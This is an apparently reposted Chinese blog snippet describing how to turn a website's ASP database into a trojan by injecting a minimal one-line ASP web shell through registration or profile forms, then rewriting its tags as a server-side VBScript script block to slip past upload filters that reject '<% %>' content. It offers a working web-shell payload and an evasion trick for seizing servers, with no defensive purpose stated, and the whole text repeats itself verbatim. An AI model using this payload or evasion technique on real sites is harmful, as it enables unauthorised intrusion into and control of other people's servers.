從汗水賤賤的blog看到的

解決了一些一直沒解決的問題

很多時候我們可以通過在注冊表單或者用戶信息修改表單中，插入簡短的ASP代碼。

使網站ASP數據庫變成為一個ASP木馬，然后進一步入侵控制服務器。

不過在上傳代碼過程中，許多網頁程序都不允許包含〈%%〉標記符號的內容的文件上傳。

這樣就有好多SHELL不能上傳上去了。可以采用下面的方法解決。以藍屏最小ASP木馬為例。

首先：原程序代碼是“〈%execute request("l")%〉", 我們可以把它的標簽換下來。

然后改成"〈scriptlanguage=VBScript runat=server〉execute request("l")〈/Script〉".。

這樣就避開了使用〈%%〉，保存為.ASP,程序照樣執行，效果是一樣的。很多時候我們可以通過在注冊表單或者用戶信息修改表單中，插入簡短的ASP代碼。

使網站ASP數據庫變成為一個ASP木馬，然后進一步入侵控制服務器。

不過在上傳代碼過程中，許多網頁程序都不允許包含〈%%〉標記符號的內容的文件上傳。

這樣就有好多SHELL不能上傳上去了。可以采用下面的方法解決。以藍屏最小ASP木馬為例。

首先：原程序代碼是“〈%execute request("l")%〉", 我們可以把它的標簽換下來。

然后改成"〈scriptlanguage=VBScript runat=server〉execute request("l")〈/Script〉".。

這樣就避開了使用〈%%〉，保存為.ASP,程序照樣執行，效果是一樣的。